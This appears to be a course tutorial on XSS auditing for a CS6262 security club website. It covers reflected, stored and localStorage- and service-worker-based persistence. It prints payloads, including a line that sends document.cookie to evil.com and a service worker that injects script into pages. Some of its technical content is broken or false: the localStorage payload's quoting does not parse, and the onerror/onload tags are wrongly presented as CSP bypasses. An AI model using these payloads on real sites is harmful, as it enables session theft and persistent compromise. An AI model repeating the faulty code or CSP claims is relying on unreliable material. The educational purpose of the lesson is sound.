Programming lesson
Advanced Web Security Audit: XSS Exploitation and Client-Side Persistence in CS6262
Learn advanced XSS techniques including reflected, stored, and DOM-based attacks with real-world examples from the CS6262 security club project. Master client-side persistence using localStorage and service workers for modern web app auditing.
Introduction to the CS6262 Security Club Audit
Welcome to the CS6262 security club! As the newest member, you've been tasked with a full security audit of the club's official website at https://cs6262.gtisc.gatech.edu. This project, part of the Fall 2025 advanced web security course, simulates a real-world penetration testing scenario. The website is a simple Content Management System (CMS) with features like text search, dark mode, and a rich text editor. Your goal is to identify vulnerabilities, especially Cross-Site Scripting (XSS), and provide a comprehensive report. In this tutorial, we'll walk through the key concepts and techniques you'll need, from basic JavaScript debugging to advanced persistent XSS attacks.
Setting Up Your Environment
Before diving into the audit, ensure you're using the latest version of Google Chrome. Open the developer tools by pressing F12. The console is your best friend for testing payloads. Let's start with some JavaScript fundamentals that will be essential for your exploits.
Console.log and Debugging
Use console.log() to print information. For example, type console.log("yourGTID"); in the console to see your GTID printed. This is useful for verifying that your code runs in the context of the page.
Timers: setInterval and setTimeout
Understanding timers helps in crafting delayed attacks or polling for conditions. Here's a common exercise: given var counter = 5, reduce it to 0 every second and stop.
var counter = 5;
var intervalID = setInterval(() => {
counter--;
console.log(counter);
if (counter === 0) clearInterval(intervalID);
}, 1000);For setTimeout, you can chain calls:
var counter = 5;
function decrement() {
counter--;
console.log(counter);
if (counter > 0) setTimeout(decrement, 1000);
}
decrement();Promises and Async Behavior
Promises are crucial for modern web attacks. Consider this code:
for (var i = 0; i < 3; i++) {
const promise = new Promise((resolve, reject) => {
setTimeout(resolve, 1000 + i*1000);
});
promise.then(() => alert(i));
}What will it output? The alerts fire after 1, 2, and 3 seconds, but all show 3 because var i is function-scoped and the loop completes before any timeout resolves. This illustrates closure pitfalls attackers can exploit.
Understanding XSS: Reflected, Stored, and DOM-Based
Cross-Site Scripting (XSS) remains one of the most common web vulnerabilities. In the CS6262 project, you'll encounter reflected XSS first. The autograder will visit a URL you provide; if an alert triggers, you get credit. For example, https://cs6262.gtisc.gatech.edu/endpoint?param=<script>alert(1)</script>. The key is finding an endpoint that reflects input without sanitization.
Reflected XSS in the CMS
Start by exploring the search feature. Try injecting a script tag in the search query. If the page echoes your input in the response, you've found a reflected XSS. The club's website might have a search box that displays the query: https://cs6262.gtisc.gatech.edu/search?q=<script>alert(document.cookie)</script>. This is the simplest way to get the autograder to detect an alert.
Stored XSS: Making Your Payload Persistent
After achieving reflected XSS, you'll want to make it persistent. The project hints that you can modify the payload so it lives forever. In many CMS platforms, user-generated content like comments or posts can store scripts. However, if the site doesn't allow regular users to inject scripts directly, you might need to exploit client-side persistence. Modern web apps store user preferences in localStorage or IndexedDB. If you can inject a script that writes malicious data to these stores, it can persist across sessions.
For example, imagine the club's website uses localStorage for dark mode: localStorage.setItem('theme', 'dark'). An attacker could set the theme to a script that executes on page load:
localStorage.setItem('theme', '<script>fetch('https://evil.com/steal?c='+document.cookie)</script>');If the site reads this value and inserts it into the DOM unsafely, every user who visits with that stored preference will execute the script.
Advanced Client-Side Persistence with Service Workers
Service workers are a powerful feature for offline capabilities, but they can also be abused for persistent XSS. If you can register a malicious service worker, it can intercept all requests from the origin and inject scripts into every page. This is particularly dangerous because the service worker survives page reloads and even browser restarts.
To exploit this, you need to find a way to register a service worker from a script. The project's admin instance might allow you to submit a URL that triggers service worker registration. For instance, a payload like:
navigator.serviceWorker.register('/sw.js?payload=' + encodeURIComponent('self.addEventListener("fetch", e => e.respondWith(new Response("<script>alert(1)</script>")))'));If the site doesn't restrict service worker registration to HTTPS and same-origin, you can achieve long-term persistence.
Real-World Analogies: Gaming and AI Trends
Think of XSS like a cheat code in a game like Fortnite or Minecraft. A reflected XSS is like a one-time cheat that works only when you enter it. A stored XSS is like modifying the game's save file so every time you load, the cheat is active. A service worker attack is like installing a mod that changes the game engine itself, affecting every match.
In the world of AI, consider how large language models (LLMs) are vulnerable to prompt injection. Similarly, XSS is a form of injection where the input (the prompt) is not sanitized, leading to unintended behavior. The CS6262 project mirrors real-world bug bounty programs where researchers find these flaws in popular apps like Google, Facebook, or TikTok.
Practical Steps for the Audit
- Reconnaissance: Use DevTools to examine network requests, cookies, and localStorage. Look for endpoints that reflect user input (search, error pages, profile fields).
- Reflected XSS: Test each parameter with a simple payload like
<script>alert(1)</script>. Use the autograder's admin instance to verify. - Stored XSS: Try to inject scripts into comments, posts, or profile fields. If the site stores and displays your input, you've found stored XSS.
- Client-Side Persistence: Check if the site uses localStorage or sessionStorage for user preferences. If so, craft a payload that sets a malicious value.
- Service Worker Abuse: Attempt to register a service worker via a script injection. If successful, you can intercept all requests.
Common Pitfalls and Tips
- URL Encoding: When submitting payloads in URLs, ensure special characters are encoded. For example,
<script>becomes%3Cscript%3E. - Content Security Policy (CSP): The site might have CSP headers that block inline scripts. Bypass techniques include using
<img src=x onerror=alert(1)>or<svg onload=alert(1)>. - ReDoS (ReDoS Server): If the server becomes unresponsive, restart the ReDoS instance as described in the project instructions.
Conclusion
Completing the CS6262 security audit requires a mix of JavaScript fundamentals and creative exploitation. By understanding reflected, stored, and DOM-based XSS, and leveraging client-side storage and service workers, you can demonstrate advanced persistence techniques. This project mirrors real-world security challenges in modern web applications, from social media platforms to AI-driven apps. Happy hacking!